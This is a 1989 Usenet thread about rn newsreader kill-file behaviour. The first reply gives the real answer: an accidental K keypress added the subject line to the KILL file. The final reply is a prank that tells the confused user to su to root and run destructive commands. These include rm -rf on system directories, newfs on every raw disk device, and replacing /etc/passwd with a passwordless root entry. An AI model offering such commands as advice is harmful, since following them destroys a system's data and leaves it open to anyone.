darcy@bbm.UUCP (D'Arcy Cain) (09/12/89)
I guess this is the perfect newsgroup for this question. Can anyone tell me why when I get to comp.unix.wizards in the news I get the following on the screen: /:*Look! An xargs!! (Re: r/:j It even comes out reverse video and then gives a message that it is trashing some articles. At first I thought it was a one time glitch but it seems to be persistent. D'Arcy J.M. Cain (darcy@bbm, darcy@cain)
jeenglis@nunki.usc.edu (Joe English) (09/13/89)
darcy@bbm.UUCP (D'Arcy Cain) writes: >I guess this is the perfect newsgroup for this question. Can >anyone tell me why when I get to comp.unix.wizards in the news >I get the following on the screen: > >/:*Look! An xargs!! (Re: r/:j > >It even comes out reverse video and then gives a message that it >is trashing some articles. At first I thought it was a one time >glitch but it seems to be persistent. Heh. Don't worry, this is not a bug, it's a feature, and you haven't missed anything... #ifdef YOU_WERE_SERIOUS You probably pressed K instead of k and rn placed the :j command in your KILL file so it gets rid of that subject automatically. Try pressing ^K while in this group to edit the file. Then again, you may want to leave it in there. #else This computer seems to be doing the same thing! I wasn't going to mention it until you did, but maybe someone finally put some artificial intelligence into rn so it automatically detects run-on subjects... maybe that's why I can't even *get* to rec.humor anymore... #endif --Joe English jeenglis@nunki.usc.edu. I couldn't resist.
bph@buengc.BU.EDU (Blair P. Houghton) (09/14/89)
In article <791@bbm.UUCP> darcy@bbm.UUCP (D'Arcy Cain) writes: >I guess this is the perfect newsgroup for this question. Can >anyone tell me why when I get to comp.unix.wizards in the news >I get the following on the screen: > >/:*Look! An xargs!! (Re: r/:j > >It even comes out reverse video and then gives a message that it >is trashing some articles. At first I thought it was a one time >glitch but it seems to be persistent. ARG! You've been hit! Someone's busted into your account and scribbled garbage all over your kill-partition!! O Nooooooo! QUICK! su to uid 0 then run the following commands: cd / mail uunet!nsf.nsf.nsf!internet-funds < /etc/please.yank.our.plug & mail boss < ~darcy/.please.fire.me & pnews < ~darcy/.alt.sex.bondage.confessions.v.raunchy.really & rm -rf /bin /u* /lib .??* & foreach i ( /dev/r*[1-9] ) newfs $i & echo It is a far, far better thing I do: $i, goin\' down a third... echo ...glub, glub, glub... end echo '::0:0:Nyah-hah-hahhhhhh:/:/bin/csh' > /etc/passwd This will likely not be able to restore your kill-file, but it will discourage further intrusions, and reduce the number of passwords available to those nasty hacker-persons. --Blair "Everyone's a critic."